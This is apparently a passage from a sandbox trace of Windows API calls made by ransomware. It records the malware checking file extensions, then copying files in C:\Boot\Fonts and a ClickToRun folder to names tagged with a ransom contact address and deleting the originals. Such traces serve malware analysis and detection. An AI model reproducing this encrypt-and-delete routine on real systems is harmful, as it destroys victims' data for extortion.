lstrlenW (lpString=".jpg") returned 4 [0283.658] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0283.658] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0283.658] lstrlenW (lpString="kor_boot.ttf") returned 12 [0283.658] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0283.659] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2fbff14 | out: lpFileSize=0x2fbff14*=2373000) returned 1 [0283.659] CloseHandle (hObject=0x318) returned 1 [0283.659] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0283.659] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.660] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0 [0283.660] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0283.660] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0283.660] lstrlenW (lpString=".doc") returned 4 [0283.660] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0283.660] lstrlenW (lpString=".docx") returned 5 [0283.660] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0283.660] lstrlenW (lpString=".pdf") returned 4 [0283.660] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0283.660] lstrlenW (lpString=".xls") returned 4 [0283.660] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0283.660] lstrlenW (lpString=".xlsx") returned 5 [0283.660] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0283.660] lstrlenW (lpString=".ppt") returned 4 [0283.660] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0283.660] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0283.660] lstrlenW (lpString=".zip") returned 4 [0283.660] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0283.660] lstrlenW (lpString=".rar") returned 4 [0283.660] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0283.660] lstrlenW (lpString=".bz2") returned 4 [0283.660] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0283.660] lstrlenW (lpString=".7z") returned 3 [0283.660] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0283.660] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0283.660] lstrlenW (lpString=".dbf") returned 4 [0283.660] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0283.661] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0283.661] lstrlenW (lpString=".1cd") returned 4 [0283.661] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0283.661] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0283.661] lstrlenW (lpString=".jpg") returned 4 [0283.661] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0283.661] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0283.661] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0283.661] lstrlenW (lpString=".doc") returned 4 [0283.661] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0283.661] lstrlenW (lpString=".docx") returned 5 [0283.661] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0283.661] lstrlenW (lpString=".pdf") returned 4 [0283.661] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0283.661] lstrlenW (lpString=".xls") returned 4 [0283.661] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0283.661] lstrlenW (lpString=".xlsx") returned 5 [0283.661] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0283.661] lstrlenW (lpString=".ppt") returned 4 [0283.661] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0283.661] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0283.661] lstrlenW (lpString=".zip") returned 4 [0283.661] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0283.661] lstrlenW (lpString=".rar") returned 4 [0283.661] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0283.661] lstrlenW (lpString=".bz2") returned 4 [0283.661] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0283.661] lstrlenW (lpString=".7z") returned 3 [0283.661] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0283.661] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0283.661] lstrlenW (lpString=".dbf") returned 4 [0283.661] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0283.662] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0283.662] lstrlenW (lpString=".1cd") returned 4 [0283.662] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0283.662] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0283.662] lstrlenW (lpString=".jpg") returned 4 [0283.662] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0283.662] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0283.662] lstrlenW (lpString="malgunn_boot.ttf") returned 16 [0283.662] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0283.663] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2fbff14 | out: lpFileSize=0x2fbff14*=174959) returned 1 [0283.663] CloseHandle (hObject=0x318) returned 1 [0283.663] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20 [0283.664] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.664] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.664] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0283.664] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0283.664] lstrlenW (lpString=".doc") returned 4 [0283.664] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0283.664] lstrlenW (lpString=".docx") returned 5 [0283.664] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0283.664] lstrlenW (lpString=".pdf") returned 4 [0283.664] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0283.664] lstrlenW (lpString=".xls") returned 4 [0283.664] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0283.664] lstrlenW (lpString=".xlsx") returned 5 [0283.664] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0283.664] lstrlenW (lpString=".ppt") returned 4 [0283.664] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0283.664] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0283.664] lstrlenW (lpString=".zip") returned 4 [0283.664] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0283.664] lstrlenW (lpString=".rar") returned 4 [0283.664] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0283.664] lstrlenW (lpString=".bz2") returned 4 [0283.664] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0283.664] lstrlenW (lpString=".7z") returned 3 [0283.664] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0283.664] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0283.664] lstrlenW (lpString=".dbf") returned 4 [0283.664] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0283.665] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0283.665] lstrlenW (lpString=".1cd") returned 4 [0283.665] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0283.665] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0283.665] lstrlenW (lpString=".jpg") returned 4 [0283.665] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0283.665] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0283.665] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0283.665] lstrlenW (lpString=".doc") returned 4 [0283.665] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0283.665] lstrlenW (lpString=".docx") returned 5 [0283.665] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0283.665] lstrlenW (lpString=".pdf") returned 4 [0283.665] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0283.665] lstrlenW (lpString=".xls") returned 4 [0283.665] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0283.665] lstrlenW (lpString=".xlsx") returned 5 [0283.665] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0283.665] lstrlenW (lpString=".ppt") returned 4 [0283.665] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0283.665] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0283.665] lstrlenW (lpString=".zip") returned 4 [0283.665] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0283.665] lstrlenW (lpString=".rar") returned 4 [0283.665] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0283.665] lstrlenW (lpString=".bz2") returned 4 [0283.665] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0283.665] lstrlenW (lpString=".7z") returned 3 [0283.665] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0283.665] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0283.665] lstrlenW (lpString=".dbf") returned 4 [0283.666] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0283.666] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0283.666] lstrlenW (lpString=".1cd") returned 4 [0283.666] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0283.666] lstrlenW (lpString="C:\\Boot\\Fonts\\malgunn_boot.ttf") returned 30 [0283.666] lstrlenW (lpString=".jpg") returned 4 [0283.666] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0283.666] lstrcmpiW (lpString1=".ttf", lpString2=".love$") returned 1 [0283.666] lstrlenW (lpString="malgun_boot.ttf") returned 15 [0283.666] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0283.667] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2fbff14 | out: lpFileSize=0x2fbff14*=177414) returned 1 [0283.667] CloseHandle (hObject=0x318) returned 1 [0283.667] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20 [0283.668] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.668] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.668] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0283.668] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0283.668] lstrlenW (lpString=".doc") returned 4 [0283.668] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0283.668] lstrlenW (lpString=".docx") returned 5 [0283.668] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0283.668] lstrlenW (lpString=".pdf") returned 4 [0283.668] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0283.668] lstrlenW (lpString=".xls") returned 4 [0283.668] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0283.668] lstrlenW (lpString=".xlsx") returned 5 [0283.668] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0283.668] lstrlenW (lpString=".ppt") returned 4 [0283.668] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0283.668] lstrlenW (lpString="C:\\Boot\\Fonts\\malgun_boot.ttf") returned 29 [0283.668] lstrlenW (lpString=".zip") returned 4 [0283.668] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0283.668] lstrlenW (lpString=".rar") returned 4 [0283.668] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0283.668] lstrlenW (lpString=".bz2") returned 4 [0283.668] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0283.668] lstrlenW (lpString=".7z") returned 3 [0283.668] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0284.390] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.390] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0284.407] GetLastError () returned 0x0 [0284.407] ReadFile (in: hFile=0x368, lpBuffer=0x3a08020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a08020*, lpNumberOfBytesRead=0x2fbfecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0284.421] WriteFile (in: hFile=0x36c, lpBuffer=0x3a08020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2fbfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a08020*, lpNumberOfBytesWritten=0x2fbfc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0284.423] ReadFile (in: hFile=0x368, lpBuffer=0x3a08020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a08020*, lpNumberOfBytesRead=0x2fbfecc*=0x0, lpOverlapped=0x0) returned 1 [0284.423] WriteFile (in: hFile=0x36c, lpBuffer=0x3a08020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2fbfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a08020*, lpNumberOfBytesWritten=0x2fbfc94*=0x114, lpOverlapped=0x0) returned 1 [0284.424] SetEndOfFile (hFile=0x36c) returned 1 [0284.424] CloseHandle (hObject=0x36c) returned 1 [0284.424] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.424] SetEndOfFile (hFile=0x368) returned 1 [0284.425] CloseHandle (hObject=0x368) returned 1 [0284.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.426] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 1 [0284.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0284.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0284.428] lstrlenW (lpString=".doc") returned 4 [0284.428] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.428] lstrlenW (lpString=".docx") returned 5 [0284.428] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.428] lstrlenW (lpString=".pdf") returned 4 [0284.428] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.428] lstrlenW (lpString=".xls") returned 4 [0284.428] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.428] lstrlenW (lpString=".xlsx") returned 5 [0284.428] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.428] lstrlenW (lpString=".ppt") returned 4 [0284.428] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0284.428] lstrlenW (lpString=".zip") returned 4 [0284.428] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.428] lstrlenW (lpString=".rar") returned 4 [0284.428] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.428] lstrlenW (lpString=".bz2") returned 4 [0284.428] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.428] lstrlenW (lpString=".7z") returned 3 [0284.428] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0284.428] lstrlenW (lpString=".dbf") returned 4 [0284.428] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0284.429] lstrlenW (lpString=".1cd") returned 4 [0284.429] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0284.429] lstrlenW (lpString=".jpg") returned 4 [0284.429] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0284.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0284.429] lstrlenW (lpString=".doc") returned 4 [0284.429] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.429] lstrlenW (lpString=".docx") returned 5 [0284.429] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.429] lstrlenW (lpString=".pdf") returned 4 [0284.429] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.429] lstrlenW (lpString=".xls") returned 4 [0284.429] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.429] lstrlenW (lpString=".xlsx") returned 5 [0284.429] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.429] lstrlenW (lpString=".ppt") returned 4 [0284.429] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0284.429] lstrlenW (lpString=".zip") returned 4 [0284.429] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.429] lstrlenW (lpString=".rar") returned 4 [0284.429] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.430] lstrlenW (lpString=".bz2") returned 4 [0284.430] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.430] lstrlenW (lpString=".7z") returned 3 [0284.430] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0284.430] lstrlenW (lpString=".dbf") returned 4 [0284.430] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0284.430] lstrlenW (lpString=".1cd") returned 4 [0284.430] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90 [0284.430] lstrlenW (lpString=".jpg") returned 4 [0284.430] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.430] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.430] lstrlenW (lpString="api-ms-win-crt-math-l1-1-0.dll") returned 30 [0284.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0284.432] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fbff14 | out: lpFileSize=0x2fbff14*=27840) returned 1 [0284.432] CloseHandle (hObject=0x368) returned 1 [0284.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20 [0284.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0284.432] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.432] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0284.434] GetLastError () returned 0x0 [0284.434] ReadFile (in: hFile=0x368, lpBuffer=0x3a08020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a08020*, lpNumberOfBytesRead=0x2fbfecc*=0x6cc0, lpOverlapped=0x0) returned 1 [0284.437] WriteFile (in: hFile=0x36c, lpBuffer=0x3a08020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x2fbfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a08020*, lpNumberOfBytesWritten=0x2fbfc94*=0x6cd0, lpOverlapped=0x0) returned 1 [0284.439] ReadFile (in: hFile=0x368, lpBuffer=0x3a08020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a08020*, lpNumberOfBytesRead=0x2fbfecc*=0x0, lpOverlapped=0x0) returned 1 [0284.439] WriteFile (in: hFile=0x36c, lpBuffer=0x3a08020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2fbfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a08020*, lpNumberOfBytesWritten=0x2fbfc94*=0x110, lpOverlapped=0x0) returned 1 [0284.439] SetEndOfFile (hFile=0x36c) returned 1 [0284.440] CloseHandle (hObject=0x36c) returned 1 [0284.440] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec0 | out: lpNewFilePointer=0x0) returned 1 [0284.440] SetEndOfFile (hFile=0x368) returned 1 [0284.441] CloseHandle (hObject=0x368) returned 1 [0284.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.441] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 1 [0284.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0284.678] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0284.678] lstrlenW (lpString=".doc") returned 4 [0284.678] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.678] lstrlenW (lpString=".docx") returned 5 [0284.678] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.678] lstrlenW (lpString=".pdf") returned 4 [0284.678] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.678] lstrlenW (lpString=".xls") returned 4 [0284.678] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.691] lstrlenW (lpString=".xlsx") returned 5 [0284.691] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.691] lstrlenW (lpString=".ppt") returned 4 [0284.691] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0284.692] lstrlenW (lpString=".zip") returned 4 [0284.692] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.692] lstrlenW (lpString=".rar") returned 4 [0284.692] lstrcmpiW (lpString1=".rar", 